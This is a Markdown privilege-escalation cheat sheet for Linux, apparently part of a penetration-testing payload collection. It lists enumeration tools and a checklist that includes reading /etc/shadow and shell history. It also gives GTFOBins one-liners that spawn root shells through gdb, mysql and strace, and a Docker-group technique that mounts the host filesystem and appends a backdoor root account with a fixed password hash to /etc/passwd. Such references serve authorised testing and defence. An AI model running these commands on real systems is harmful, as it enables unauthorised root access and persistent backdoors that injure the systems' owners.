# Linux - Privilege Escalation

## Tools

- [LinEnum - Scripted Local Linux Enumeration & Privilege Escalation Checks](https://github.com/rebootuser/LinEnum)
    ```powershell
    ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
    ```
- [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot)
- [linuxprivchecker.py - a Linux Privilege Escalation Check Script](https://gist.github.com/sh1n0b1/e2e1a5f63fbec3706123)
- [unix-privesc-check - Automatically exported from code.google.com/p/unix-privesc-check](https://github.com/pentestmonkey/unix-privesc-check)

## Checklists

* Kernel and distribution release details
* System Information:
  * Hostname
  * Networking details:
  * Current IP
  * Default route details
  * DNS server information
* User Information:
  * Current user details
  * Last logged on users
  * Shows users logged onto the host
  * List all users including uid/gid information
  * List root accounts
  * Extracts password policies and hash storage method information
  * Checks umask value
  * Checks if password hashes are stored in /etc/passwd
  * Extract full details for ‘default’ uid’s such as 0, 1000, 1001 etc
  * Attempt to read restricted files i.e. /etc/shadow
  * List current users history files (i.e .bash_history, .nano_history etc.)
  * Basic SSH checks
* Privileged access:
  * Which users have recently used sudo
  * Determine if /etc/sudoers is accessible
  * Determine if the current user has Sudo access without a password
  * Are known ‘good’ breakout binaries available via Sudo (i.e. nmap, vim etc.)
  * Is root’s home directory accessible
  * List permissions for /home/
* Environmental:
  * Display current $PATH
  * Displays env information
* Jobs/Tasks:
  * List all cron jobs
  * Locate all world-writable cron jobs
  * Locate cron jobs owned by other users of the system
  * List the active and inactive systemd timers
* Services:
  * List network connections (TCP & UDP)
  * List running processes
  * Lookup and list process binaries and associated permissions
  * List inetd.conf/xined.conf contents and associated binary file permissions
  * List init.d binary permissions
* Version Information (of the following):
  * Sudo
  * MYSQL
  * Postgres
  * Apache
    * Checks user config
    * Shows enabled modules
    * Checks for htpasswd files
    * View www directories
* Default/Weak Credentials:
  * Checks for default/weak Postgres accounts
  * Checks for default/weak MYSQL accounts
* Searches:
  * Locate all SUID/GUID files
  * Locate all world-writable SUID/GUID files
  * Locate all SUID/GUID files owned by root
  * Locate ‘interesting’ SUID/GUID files (i.e. nmap, vim etc)
  * Locate files with POSIX capabilities
  * List all world-writable files
  * Find/list all accessible *.plan files and display contents
  * Find/list all accessible *.rhosts files and display contents
  * Show NFS server details
  * Locate *.conf and *.log files containing keyword supplied at script runtime
  * List all *.conf files located in /etc
  * Locate mail
* Platform/software specific tests:
  * Checks to determine if we're in a Docker container
  * Checks to see if the host has Docker installed
  * Checks to determine if we're in an LXC container

## GTFOBins

[GTFOBins](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.

The project collects legitimate functions of Unix binaries that can be abused to get the f**k break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.

> gdb -nx -ex '!sh' -ex quit
> sudo mysql -e '\! /bin/sh'
> strace -o /dev/null /bin/sh

## Groups

### Docker

Mount the filesystem in a bash container, allowing you to edit the `/etc/passwd` as root, then add a backdoor account `toor:password`.

```bash
$> docker run -it --rm -v $PWD:/mnt bash
$> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd
```


## References

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